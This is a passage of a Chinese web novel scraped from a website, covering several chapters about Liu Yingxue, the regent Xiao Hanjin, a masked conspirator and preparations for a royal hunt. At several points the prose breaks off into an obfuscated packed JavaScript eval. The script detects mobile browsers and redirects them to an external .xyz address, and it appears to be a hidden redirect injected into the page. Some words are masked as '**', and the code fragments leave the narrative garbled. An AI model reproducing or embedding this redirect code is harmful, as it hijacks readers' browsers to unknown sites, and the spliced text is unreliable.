“萧寒瑾,”柳映雪放下茶盏,神色认真,“今晚你要来清溪居一趟。我打算给你几颗解**。谁能知道皇上是否还会对你下毒呢?若他敢这么做,我一定让他也体验一下**的感觉!” 看着她气鼓鼓的模样,萧寒瑾忍不住轻笑,“有你在,我又有何惧?即便天塌下来,我也能为你撑着。” 柳映雪嫣然一笑,心中却在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769431|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘算:若皇上真敢对萧寒瑾下毒,她定要让他尝尝什么叫生不如死。不过,要是把皇上真毒**,恐怕青云国会陷入混乱。也罢,先给他一点教训,让他知道什么人不能招惹。 灯笼在夜风中轻轻摇曳,将楼前的石板路映照得忽明忽暗。食客们的谈笑声透过窗棂传出,与街道上的喧嚣交织在一起。 萧寒瑾站在不远处的阴影中,目光凝视着二楼那道熟悉的身影。隔着薄薄的窗纱,他能看到柳映雪正在忙碌的背影,裙摆随着她的动作轻轻摆动。 “王爷。”绿风悄无声息地出现在他身侧,声音压得极低,“暗卫已经按您的吩咐,在各个要点都安排好了人手。” 萧寒瑾微微颔首,眸光却始终没有离开那道身影。夜风吹起他的衣袍,带来一丝凉意。 “明日的狩猎,所有细节都确认过了吗?” “是的。”绿风恭敬地回答,“属下已经让人反复核查过路线,沿途的埋伏点也都安排妥当。只是......” “说。” “只是属下担心,若有人趁着狩猎的混乱对凤栖楼下手......” 萧寒瑾转过身,月光映照在他棱角分明的侧脸上:“所以我才在这里多留了一倍的人手。” 绿风心中一凛,他很少见到王爷如此谨慎。这段时日以来,凤栖楼接连发生的事端,显然已经引起了王爷的高度警惕。 第一百六十章 独自前往 楼内,柳映雪将孙掌柜和青莲唤到雅间,烛光在她清丽的面容上投下细碎的光影。 “这些日子辛苦你们了。”她的声音温和,却带着不容置疑的力度,“明日我要参加狩猎,凤栖楼就拜托你们了。” 孙掌柜连忙躬身:“小姐放心,老奴一定看护好楼里的一切。” 青莲也点头应是,眼中闪着担忧:“只是小姐明日独自前往,会不会......” “司马爹爹留下的人手都安排好了,明暗各处都有准备。”柳映雪轻轻抚过桌上的账本,“况且,夜王爷也会在场。” 提到萧寒瑾,青莲稍稍放心。这段时日来,王爷对小姐的照拂,整个凤栖楼上下都看在眼里。 门外传来一阵细碎的脚步声,连秀抱着个鸡笼走了进来,黑布将笼子严实地遮住。 “姐姐,那只**的公鸡我已经安置好了。”她小声说道,“马车也准备妥当,明日一早就能出发。” 柳映雪点点头,目光落在窗外。楼下的长街上,食客们依旧络绎不绝。有人端着刚买的糕点,有人提着打包的饭菜,脸上都带着满足的笑容。 这是娘亲留下的心血,无论如何,她都要守护好。 绿竹等人见到柳映雪,立即单膝跪地行礼:“多谢柳小姐救命之恩。”声音整齐划一,透着几分肃然。 “快快请起。”柳映雪连忙避开,这些大男人动不动就跪,让她很是不适。她的目光始终落在萧寒瑾身上,仔细打量着他是否受伤。 萧寒瑾淡淡开口:“都起来吧。”声音低沉悦耳,却带着不容置疑的威严。 几人起身后,便分散开查看地上的尸体。月光下,血迹斑斑的地面泛着诡异的光泽。 柳映雪走到萧寒瑾身边,伸手轻轻拉住他的衣袖:“还有没有别处受伤?”她的声音里带着掩饰不住的关切。 萧寒瑾没有回答,反而将她拥入怀中。他低头看着已长到自己下巴处的人儿,怀中的身躯微微颤抖,想必是一路奔波累着了。 “雪儿又长高了。”他的声音轻柔,带着几分宠溺。 柳映雪一愣,这人莫不是**傻了?她立即伸手探了探他的额头,又给他把了把脉。指尖传来的温度正常,脉象也平稳有力。 萧寒瑾任由她检查,胸腔震动,发出低沉的笑声:“我没事。”他握住她的手,将其拢在掌心。 “还笑!”柳映雪瞪了他一眼,眼中却闪着晶莹的泪光,“我找不到你的时候都快急**。你知不知道我有多担心?” “对不起,是我考虑不周。”萧寒瑾的语气难得带着几分歉意。 这一声道歉让绿竹绿风都愣住了。他们跟随王爷多年,还从未见他向谁道过歉。两人对视一眼,都从对方眼中看到了震惊。 “你去哪也该告诉暗卫一声,至少让我能找到你。”柳映雪没好气道,语气中却带着浓浓的后怕,“若是你出了什么事...”她的声音哽咽了。 萧寒瑾轻轻拍着她的后背:“我收到密报,说南安国的人与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月光下,两人的身影渐渐远去。绿竹等人面面相觑,都从对方眼中看到了震惊。他们跟随王爷多年,还从未见过他如此温柔的一面。 一行人很快来到那处可疑的宅院。院门紧闭,四周静悄悄的,只有几声虫鸣在夜色中此起彼伏。 “小心机关。”萧寒瑾低声提醒。 柳映雪点头,从袖中取出一个小瓶,将里面的粉末撒向院门。粉末在空中飘散,隐约勾勒出几道细线的轮廓。 “果然有机关。”她轻声道,“这些细线上涂了剧毒,碰到就会毙命。” 萧寒瑾眸光一冷:“看来这里确实有问题。” 他取出一把短剑,轻轻挑断那些细线。随着“咔嚓”一声,院门应声而开。 院内一片漆黑,只有月光透过树影,在地上投下斑驳的光影。空气中弥漫着一股若有若无的药味。 “这味道...”柳映雪皱眉,“好像是"绝命香"的味道。” “绝命香?”萧寒瑾看向她。 “是一种剧毒。”柳映雪解释道,“**者会在极度痛苦中死去,临死前会产生幻觉,看到最可怕的景象。那个小二,应该就是中了这个。” 萧寒瑾眸光一沉:“看来我们找对地方了。” 两人小心翼翼地向前摸索。院子不大,但布置得很是精致。假山流水,花木扶疏,若是白天来看,定是一处雅致的所在。 忽然,柳映雪停下脚步:“你听。” 萧寒瑾凝神细听,果然听到地下传来细微的响动,像是有人在说话。 “地道在哪?”柳映雪低声问道。 萧寒瑾指了指假山:“就在那下面。” 两人正要过去,突然一阵阴风袭来。月光下,一道黑影闪过,向着两人扑来! “小心!”萧寒瑾一把将柳映雪护在身后,同时拔剑相迎。 “叮”的一声,剑光闪过,黑影倒飞出去。月光下,那人戴着一张狰狞的魔面具,浑身散发着阴冷的气息。 “是你!”萧寒瑾眸光一冷。 魔面人发出一声怪笑,声音沙哑难听:“没想到这么快又见面了。” 魔面人深知不敌二人,二话不说转身就逃走了。 两人没有去追,选择继续搜索这所宅院。 进入地道,萧寒瑾从袖中取出一个黑色锦袋,动作轻缓地掏出夜明珠。柔和的光芒瞬间驱散了周围的黑暗,将两人的身影拉得老长。 “你身上怎么会有夜明珠?”柳映雪望着那颗散发着莹莹光芒的珠子,面带诧异之色。 萧寒瑾的目光在四周游移,语气平淡地回应:“在军营养成的习惯。有些人能避开官兵的耳目,黑夜是最好的掩护。” 这句话让柳映雪心头一紧。她知道,那些暗杀者都是冲着萧寒瑾来的。想到他在军营中日日如此提防,她心中泛起一阵酸楚。手指不自觉地抓紧了衣袖,指节因用力而发白。 萧寒瑾似乎察觉到了她的情绪变化,伸手轻轻牵起她的手。温暖的触感透过掌心传来,让柳映雪心跳不由自主地加快。 “小心脚下。”他的声音轻柔,带着一丝不易察觉的关切。 推开吱呀作响的木门,屋内的景象让两人皱眉。凳子东倒西歪,桌上的茶具摔得粉碎,墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777991|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角堆着几个破损的箱子,显然是匆忙逃离的痕迹。柳映雪环视四周,这处偏僻的宅院确实是个绝佳的藏身之所,远离闹市,又少有人来往。 “这里的灰尘并**,”萧寒瑾蹲下身,用手指轻轻擦过地面,“应该经常有人出入。” 柳映雪点头,目光落在角落里的一个暗格上:“那里似乎有些异常。” 萧寒瑾快步走过去,轻轻叩击木板,发出空洞的回声。他用力一掀,露出一个狭小的暗格。里面放着几封信件和一本破旧的账册。 “这是...”柳映雪凑近查看,只见信纸上写满了密密麻麻的数字,“似乎是某种密码。” 萧寒瑾将信件收好,继续搜查其他房间。除了一些普通的家具,并未发现特别的线索。直到进入一间小房间,柳映雪的目光被桌角的一个玉佩吸引。 那是一个造型古怪的玉佩,通体呈青铜色,上面刻着繁复的花纹。她拿起来轻轻晃了晃,清脆的声音在寂静的夜里显得格外清晰。 “雪儿,此物恐怕不祥,还是丢掉为好。”萧寒瑾眉头紧锁,语气中带着一丝担忧。 “无妨,若有异常再处理不迟。”柳映雪将玉佩收入袖中,实则已经悄悄放入了空间。她总觉得这玉佩不简单,或许能成为破案的关键。 她不知道的是,就在她第二次摇晃玉佩时,清溪居笼中的公鸡突然站立,眼睛发出诡异的红光,直到铃声停止才重新趴下。这一幕恰好连秀看在眼里,她的眉头微微皱起,却没有声张。 空间里,赤凰剑立刻警觉地检查这个突然出现的物件。剑尖挑起玉佩翻来覆去地查看,金属相撞发出清脆的声响。确认无害后,赤凰剑才悠然离去,只是剑身上的符文依旧闪烁着微弱的光芒。 绿竹等人赶到时,两人已经搜查完毕。回到王府的书房里,绿风端来茶水,萧寒瑾为柳映雪斟了一杯。茶香袅袅升起,驱散了些许夜间的寒意。 第一百六十二章 赠香囊 “王爷,皇上口谕,明日命华神医随御医团出行狩猎。”绿风躬身禀报,声音中带着一丝凝重。 萧寒瑾眼中寒光一闪,手中的茶杯重重放在桌上:“何时传来的?” “王爷离府后。管家已接下口谕,未告知华神医。”绿风低着头,不敢直视主子阴沉的脸色。 “华神医的事可安排妥当?”萧寒瑾的声音冷得像冰。 “属下已安排,眼线都看到他匆忙出府。” “很好,今晚严加审问,一字不落地交代清楚。”萧寒瑾声音冰冷,指节因握紧而发白。 柳映雪看着他紧绷的侧脸,心中泛起一丝不安。 夜已深,烛火摇曳,在墙上投下跳动的影子。柳映雪也显出几分疲态,眼角微微泛红。临走前,她从袖中取出准备好的香囊和瓷瓶。 “这香囊...”萧寒瑾接过来闻了闻,眉头舒展,“是你亲手缝制的?” “我可不会,”柳映雪轻笑一声,“让我用针扎人还行,缝制香囊怕是要把手扎得满是血泡。这是从宫中绣娘那里求来的。” “那以后都不必做这些。”萧寒瑾认真地看着她,“你想要什么,让丫鬟们去做就是。” 柳映雪眉眼弯弯,心中涌起一股暖意。这个看似冷漠的男人,是真心疼惜她的。只是今晚发生的种种,让她隐隐觉得不安。那个古怪的玉佩,密信中的暗码,还有华神医的突然离府,所有的线索似乎都指向一个更大的阴谋。 “一定要戴着。”她叮嘱道,语气里带着掩饰不住的担忧。抬眼望向萧寒瑾时,眸中闪烁着细碎的光芒,像是揉碎了满天星辰。 萧寒瑾站在月光下,俊朗的轮廓被勾勒得格外分明。他眸光温柔,伸手轻抚她的发丝,“放心,我会一直佩戴着的。”指尖触及她柔软的发丝时,他的动作轻柔得仿佛在对待世间最珍贵的宝物。 “你不是说我们之间不用这么客气吗?”柳映雪嗔怪地看了他一眼,随即打了个哈欠。连日来的担心和操劳让她眼底浮现出淡淡的青色,精致的面容也略显疲惫。 萧寒瑾注视着她困倦的模样,心头涌起一阵疼惜。这些日子,雪儿为他操心太多。从调制驱虫粉到准备各种药材,她总是比任何人都上心。他上前一步,不由分说将她打横抱起。 “啊!”柳映雪惊呼一声,下意识搂住他的脖子,“你干什么?”她的脸颊因这突如其来的亲密接触而泛起红晕,在月光下显得格外动人。 “送你回去。”萧寒瑾低头看她,目光中满是宠溺,“你都累成这样了,还是让我抱你回去吧。”他的声音低沉温柔,像是夜风拂过琴弦,荡起一阵心弦轻颤。 柳映雪本想反驳,但实在太困了,索性靠在他怀里。他身上有淡淡的檀香,混合着独特的男子气息,让她莫名安心。她能听到他有力的心跳声,节奏稳健,仿佛能抚平她所有的不安。 夜色如水,月光清冷。萧寒瑾抱着她轻点脚尖,身形如燕般掠过屋顶。夜风拂过二人衣袂,掀起阵阵涟漪,如诗如画。远处的灯火星星点点,为这一幕增添了几分浪漫。 绿竹站在院中,看着王爷抱着柳大小姐离去的背影,一时有些发愣。他跟随王爷多年,从未见过王爷对谁如此温柔体贴。月光下,那道身影显得格外高大挺拔,却又柔情似水。 直到确认柳映雪安然入睡,萧寒瑾才离开清溪居。他站在院外的大树下,抬头望着她的房间,目光深邃。夜风吹动他的衣袍,也吹乱了他的思绪。 与此同时,在郊外深山的一处山洞中,那名受伤的魔面人正在处理伤口。烛火摇曳,在洞壁上投下诡异的影子。他面不改色,仿佛感受不到疼痛,手法娴熟地给伤口上药。 “没想到摄政王如此厉害。”他自言自语,声音里带着一丝阴冷,“若不是我带着毒雾弹,恐怕今日难逃一死。”说着,他摸了摸胸口的伤处,眼中闪过一抹狠厉。 他低头检查衣服 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“前往最安全的地方。”魔面人站起身,“跟我来。”说完,他率先走出山洞,身影很快消失在夜色中。 天还未亮,柳映雪就被敲门声惊醒。她睁开眼,窗外还是一片昏暗,只有几声早起的鸟鸣打破了清晨的宁静。 “小姐,该起身了。”连秀在门外提醒,声音轻柔却坚定,“今日要去宫门口等候,还要梳洗用膳。时辰不等人,还请小姐快些。” 柳映雪揉了揉眼睛,心中暗叹。皇家狩猎的规矩真多,光是等候就要耗费大半天。她目前不过是摄政王的未来王妃,还不是正式的王妃,必须遵守这些繁文缛节。想到这里,她不禁有些烦闷。 床榻边的铜镜映出她略显疲惫的容颜,昨夜的担忧和操劳在她脸上留下了淡淡的倦意。她强打起精神,开始梳洗打扮。连秀和梅枝在一旁伺候,动作麻利地为她梳妆。 第一百六十三章 狩猎前夕 洗漱用膳后,柳映雪带着梅枝和连秀上了马车。临行前,她再三叮嘱管家看护好清溪居。马车缓缓启动,车轮碾过石板路,发出规律的声响。 马车内,柳映雪看着绿竹送来的两个食盒,心中一暖。萧寒瑾让人准备了糕点,就怕她路上饿着。这份细心,让她心头涌起甜蜜。她打开食盒,里面整齐地摆放着各色糕点,还有一壶温热的茶水。 连秀看着食盒,语气里都是羡慕,“王爷对小姐真是体贴。” 柳映雪抿唇一笑,没有说话。她望向车窗外,晨光初现,给整个京城镀上一层金色。街道上已经开始热闹起来,小贩的吆喝声,行人的脚步声,都在预示着新的一天的开始。 马车在石板路上缓缓前行,柳映雪的思绪却飘向了远方。 寒风凛冽,马车在宫道上缓缓前行。积雪覆盖的青石板在马蹄下发出细微的咯吱声,远处宫墙上的积雪在晨光中泛着微光。 柳映雪掀开车帘,目光扫过前方排成长龙的马车队伍。各家贵女们的马车装饰华丽,车帘上绣着精美的家族徽记。她唇角微微勾起一抹冷笑,手指无意识地摩挲着膝上的狐裘。 这场狩猎宴,倒是让不少人都按捺不住了。 远处,几名小太监正忙碌地核对着每辆马车中人的身份。他们身着月白色棉袄,腰间系着绣有紫金纹的腰带,动作虽快,却丝毫不显慌乱。寒风中,他们的脸颊被冻得通红,呼出的白气在空中凝结成霜。 “这位娘子,请出示请帖。”一名年长些的太监走到柳映雪的马车旁,恭敬地说道。 柳映雪从袖中取出请帖,递给那太监。请帖上的金粉还未干透,在晨光下闪着细碎的光芒。 “柳小姐请稍候,前面还有几位贵人在等着。”太监仔细查看后,双手将请帖奉还。 柳映雪放下车帘,靠在软垫上闭目养神。马车中铺着厚实的狐裘,倒也不觉寒冷。耳边传来此起彼伏的交谈声,有人在谈论今日的狩猎盛况,也有人在低声议论宫中秘事。 “听说皇上昨夜又在陈美府那里过夜了。” “嘘,小声些。这种事也是你能议论的?” “可不是么,皇后娘娘怕是要气坏了。” 柳映雪撇撇嘴。这些莺莺燕燕的交际,她向来懒得理会。可今日这场狩猎宴,却是她不得不来。 马车缓缓向前移动,寒风从帘缝中钻入,带来一丝凉意。柳映雪裹紧了狐裘,思绪不由得飘向了昨夜的密会。 长乐宫内,一声脆响打破了清晨的宁静。 “砰!” 又一只价值不菲的茶盏碎裂在地,瓷片四散,茶水溅湿了地毯。 “皇上怎能如此任性!”皇后气得面色铁青,玉手紧握成拳。她身着正红色宫装,发间的金钗微微颤动,“今日有外国使臣在场,若是误了时辰,岂不是让人看我青云国的笑话!” “娘娘息怒。”卢嬷嬷连忙上前劝阻,满脸担忧,“气坏了凤体可如何是好。” 皇后深吸一口气,努力平复心情。她何尝不知这般发怒有失体统,可想到皇上又在陈美府那里过夜,心中便如同被火烧一般。那陈美府不过是个商贾之女,凭什么能得皇上如此宠爱? “都退下。”卢嬷嬷厉声喝退殿内宫女,又压低声音警告道:“今日之事,谁若走漏半点风声,别怪老身心狠手辣。” 宫女们战战兢兢地退下,大殿内只剩下皇后与卢嬷嬷二人。晨光透过窗棂洒入殿内,照在地上的瓷片上,反射出刺眼的光芒。 “多亏有嬷嬷在身边提点。”皇后叹了口气,走到窗前,望着远处渐渐热闹起来的宫道,“这些年来,我是越来越看不透皇上的心思了。” “娘娘乃一国之母,还请三思而行。”卢嬷嬷上前一步,“今日狩猎宴事关重大,娘娘切莫因小事坏了大事。” 皇后微微颔首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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东玉琳察觉到她的目光,转头朝她露出甜美的笑容,无声地喊着“姐姐”。柳映雪微微颔首以示回应,目光却在不经意间掠过东玉琳身后的侍女。那名侍女神色如常,却总给人一种说不出的违和感。 第一百六十四章 魔面人 这个位置安排很有意思。柳映雪暗自思量,她被安排在公主皇子之后,大臣之女之前。虽说她已指婚给摄政王,但婚事未成,现在的身份确实尴尬。皇上这般安排,怕是别有用心。 寒风中,她感受到两道灼热的目光。 抬头望去,一个是五皇子温和的笑意,另一个是西幽国六皇子司云熠略带病态的面容。那双幽深的眼眸中似乎藏着什么,却又在对上她的视线时迅速敛去。她礼貌地点头回应,心中却暗自警惕。 等候多时,众人已被寒风吹得鼻尖通红。那些娇生惯养的官家小姐更是瑟瑟发抖,有几个已经开始小声抱怨。若再等下去,只怕要有人晕倒。 “这天气也太冷了。”一个官家小姐搓着手抱怨道,“皇上怎么还不来?” “嘘,小声点。”她身边的姐妹连忙提醒,“这可是宫门外,要是被人听去......” 话音未落,远处传来一阵马蹄声。 一辆由四匹骏马拉动的奢华马车缓缓而至,车身低调却处处彰显尊贵。众人纷纷行礼,这是摄政王的专用座驾。马车两侧的帘子随风轻扬,隐约可见车内的人影。 萧寒瑾远远看见柳映雪被冻得发红的小脸,眉头微皱。他正要让马车停下,皇上的龙辇却从宫内驶出。 “皇上驾到!”司公公高声唱喝,声音在寒风中显得格外清晰。 众人跪地叩拜。萧寒瑾只得让绿竹将手炉送到柳映雪手中,马车继续前行。绿竹快步走到柳映雪身边,将手炉递给她时,低声道:“王爷让属下转交给小姐。” 柳映雪接过手炉,温暖瞬间传遍全身。她抬头看向摄政王的马车,却只能看到那道模糊的身影。 皇上虽对摄政王同时到来有些不悦,但也无可指摘。毕竟时辰刚好,谁也不曾失礼。他的目光在人群中扫过,在看到柳映雪时微微停顿。 “今日诸位爱卿前来,朕甚是欣慰。”皇上的声音略显沙哑,“各国使臣不远千里而来,为的就是共谋和平。朕深感欣慰......” 柳映雪站在远处,只能隐约听见皇上说些场面话。她暗自庆幸有武功在身,否则这般远的距离,连只言片语都听不见。不过这些话也没什么好听的,无非是些官面文章。 皇上说完,便登上龙辇。六匹骏马拉着的明黄色华贵车驾当先而行。摄政王的马车紧随其后,接着是后宫妃嫔、皇子公主,再是各国使臣,最后才轮到柳映雪等人。 队伍缓缓前行,柳映雪握着温暖的手炉,唇角微扬。萧寒瑾这一举动,怕是又要招来不少人的嫉妒。果然,她已经感受到四面八方投来的目光,尤其是司微澜那充满怨毒的视线。 马车行进间,柳映雪百无聊赖地打开食盒,开始享用点心。身边的丫鬟小声提醒:“小姐,这么多人看着......” “饿了就吃,有什么好顾忌的。”柳映雪咬了一口糕点,“再说,我们这些人还不知要等多久呢。” 与此同时,萧寒瑾正在马车中查看折子。越看,他的眼神越发冰冷。这是昨夜审讯华神医得来的供词,内容令人震惊。 绿竹站在一旁,看着自家主子阴沉的脸色,不由得捏了把汗。这华神医的事,怕是要掀起一番风波。 华神医不仅和西幽有暗通款曲,还通过西幽人与巫域有了联系。更可笑的是,他竟然想借皇上之手灭掉悬壶山庄,只因传闻庄中有他需要的宝物。这般愚蠢的想法,简直令人不齿。 “王爷,”绿竹犹豫片刻,还是开口道,“要不要派人去查查巫域那边的情况?” 萧寒瑾合上折子,眼中寒光闪烁:“不急,先看看他们还有什么动作。” 冷宫内,魔面人听闻魅七来报,缓缓睁开双眼。昏暗的光线下,那张银色面具泛着冰冷的光泽。他冷笑一声,就算摄政王再精明,也想不到他们会藏身于此。 “让她进来。”沙哑的声音在空旷的宫殿中回荡。 魅七躬身退下,很快带着一个身着宫装的女子进来。那女子低着头,看不清面容,但从她微微发抖的身子可以看出,她很害怕。 “主子,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781700|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子跪下行礼,声音颤抖,“奴婢已经按您的吩咐......” “做得不错。”魔面人打断她的话,“继续盯着摄政王那边的动静,有什么消息立刻来报。” 女子应声退下,脚步匆忙。魔面人望着她离去的背影,这些棋子,用完就可以弃了。 宫门外的队伍仍在缓慢前行。柳映雪看着前方浩浩荡荡的车驾,忽然想到什么,眉头微皱。按理说,今日只是迎接使臣,不该这般兴师动众。难道皇上另有安排? 她的目光落在司微澜的马车上。这位西幽国的公主,来得未免太巧了些。而且她总觉得,司微澜看她的眼神中,除了嫉妒,还藏着别的什么。 寒风呼啸,吹起地上的落叶。柳映雪裹紧了狐裘,心中却升起一丝不安。 密殿中,魅七的身影悄然而至,跪地行礼时衣袂轻响。昏暗的烛光在墙壁上投下摇曳的影子,空气中弥漫着一股若有若无的檀香。 “小的见过主子。”魅七的声音压得极低,仿佛生怕惊扰了这份静谧。 “起来说话。”魔面人的声音低沉沙哑,带着几分疲惫,“外面情况如何?” 魅七缓缓起身,目光依旧恭敬地垂着,“青云国皇上已启程前往御林猎苑,陈美府随行。路上一切顺遂,并无异常。” “在我面前,称她魅九便是。”男人语气微冷,指节轻叩桌面,发出细微的声响。 魅七心头一凛,不敢多言,只低声应是。烛光映照下,他能清晰地看到主子面具上那道狰狞的裂痕,那是曾经战斗留下的痕迹。他能感受到主子语气中的不悦,却也不明其中缘由。 “你要助她完成任务,更要确保她的安危,明白吗?”男人的声音中带着不容置疑的命令。 “属下谨记。”魅七从袖中取出一个精致的瓷瓶,瓷瓶通体雪白,上面绘着淡雅的绿萱,“这是魅九临行前托属下转交给主子的伤药。她说,御赐的,效果比之前的更好。” “她有心了。”男人的语气稍缓,接过瓷瓶时,指尖微微颤动。 第一百六十五章 玉佩丢了 角落里的烛火忽地剧烈摇晃,投下的影子在墙上扭曲变形。一旁盘坐的小皇太猛地站起,面色大变,额头上瞬间布满冷汗。众人纷纷看向他,空气仿佛在瞬间凝固。 “何事?”魔面人沉声问道,声音中带着一丝不详的预感。 “主子,大事不好!”小皇太声音都在发颤,双手不住地颤抖,“那枚能控制摄政王的玉佩不见了!老朽方才清点物品,发现玉佩竟然不翼而飞!” “你说什么?”男人的声音陡然冰冷,周身散发出令人窒息的寒意,“这等要紧之物,你是如何看管的?” 小皇太扑通跪地,额头重重磕在地上,发出闷响,“老朽确实记得放好,就在暗格最里层,却不知为何会遗失。老朽无能,请主子责罚!”说着便要拔出腰间**,刀光在昏暗中闪过一道寒芒。 “砰!”**应声落地,被男人一脚踢开,金属撞击地面发出清脆的声响。 “你的命都是我的,何时轮到你自己处置?”男人声音中带着怒意,却又隐含几分无奈。 小皇太垂首,双手紧握成拳,指甲深深陷入掌心,“那该如何是好?若是被他们得去......” “暂时不能外出寻找,以免打草惊蛇。”男人在室内来回踱步,脚步声回荡在空旷的房间里,“我们人手本就不多,不能再有损失。先隐忍些时日,待摄政王府放松警惕,再做打算。” “若是被他们搜到玉佩......”小皇太的声音中充满担忧。 “一个玉佩,应不会引起他们注意。”男人停下脚步,望向窗外的夜色。 小皇太眼中燃起希望,声音也随之提高,“主子,若真被摄政王府得去,还可让华神医想办法。实在不行,也可让他重下蛊卵......” “华神医已暴露。”男人冷声打断,语气中带着几分烦躁,“我们行踪泄露,多半与他有关。若非摄政王需他压制毒性,连下蛊的机会都没有。至于他能否逃出王府,那就看他自己的造化了。” 小皇太顿时蔫了,身子佝偻下来,“摄政王府戒备森严,确实不好行事。” “此事需从长计议,切勿操之过急。都记住了?” “是,主子。”众人齐声应道。 与此同时,通往御林猎苑的官道上,一队仪仗浩浩荡荡而行。秋日的阳光洒在道路两旁的树木上,将枝叶染成金色。马蹄声、车轮声和人声交织在一起,远远传开。 龙辇内,皇帝靠在软垫上,眉头微皱,“司公公,还要多久?”声音中带着明显的不耐。 “回皇上,约莫还有一个时辰。”司公公恭敬地回答,同时暗暗擦了擦额头的汗。 “朕乏了,先歇息片刻。”皇帝揉了揉太阳穴,“去宣陈美府来。” 司公公额上顿时沁出冷汗。龙辇向来只有皇后才能同乘,如今还有他国使臣在场,若让美人同乘,恐有损皇家威仪。可看皇帝脸色阴沉,他也不敢多言。 “老奴这就去安排,定不负皇上所托。”司公公躬身退出龙辇,转身时面露难色。 “传令下去,暂且休整!”司公公站在龙辇外高声宣布,声音中带着几分刻意的洪亮,“皇上体恤众人舟车劳顿,可下车活动片刻。” 马车缓缓停下,车轮碾过砂石发出细微的声响。柳映雪伸了个懒腰,将身子靠在软垫上。这一路说说笑笑,倒也不觉疲累。阳光透过车窗照进来,在她脸上投下斑驳的光影。 “小姐,我们下去走走吗?”连秀问道,一边整理着裙摆。 “也好。”柳映雪点头,“坐得久了,确实该活动活动。” 刚下马车,迎面就看到东玉琳欢快地跑来,裙摆随风飘扬,“姐姐!” 柳映雪微笑,看着这个活泼的小姑娘,“路上可还习惯?” “无聊**,也不知还要多久。”东玉琳撇嘴,一副不耐烦的模样。 “南公主,约莫还有一个时辰。” 一道温婉的声音传来,柳映雪转头,只见卢芷柔款款而至。她身着淡粉披风,头戴步摇,举手投足间尽显大家闺秀之风。身后还跟着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此言一出,仇巧儿的手不自觉地颤抖起来,脸色也变得煞白。另一位悬壶山庄弟子更是往后退了一步,仿佛要与那段记忆保持距离。 东玉琳站在一旁,天真烂漫地插话道:“马车受惊?我前些日子也见过一起马车事故,那场面可吓人了!” 她的声音清脆悦耳,却让三人的脸色更加难看。卢芷柔的手指几乎要将帕子绞碎,强忍着不适开口:“南公主......” “那马儿发了疯似的乱撞,”东玉琳却浑然不觉,继续绘声绘色地讲述,“把车内的小姐给颠了出来。最后马儿往回跑,那小姐都吓傻了,直接被马蹄踩中了肚子。” 柳映雪垂眸掩住眼中的笑意,看着三人越发惊恐的表情。寒风中,她们的脸色愈发苍白,仿佛随时会晕厥过去。 “最可怕的是,”东玉琳拖长了声调,眼中闪烁着兴奋的光芒,“马车的轮子从那小姐头上碾过去,血肉模糊不说,连眼珠子都碾出来了,滚得老远......” 三人齐齐倒吸一口凉气,纷纷后退几步。仇巧儿更是捂住嘴巴,似乎要压抑住呕吐的冲动。那模样,仿佛已经把自己代入了那个可怜的小姐。 “柳大小姐,南公主,”卢芷柔强撑着最后一丝体面,声音都在发抖,“天寒地冻的,我们先回车上了。” 柳映雪含笑点头:“请便。” 看着三人慌乱离去的背影,她注意到仇巧儿的手仍在发抖,走路时一瘸一拐的。那日马车事故,恐怕给她留下了不小的阴影。 “姐姐,她们怎么走得这么快?”东玉琳撅着嘴问道,“我不过讲个故事罢了。” 柳映雪轻笑:“对她们来说,这可是恐怖故事。”她伸手整理了一下东玉琳被风吹乱的发丝,“她们亲身经历过马匹受惊,自然格外害怕。” “胆子实在是小得可怜。”东玉琳嘟囔着,“不就是马车翻了嘛,又没**。” 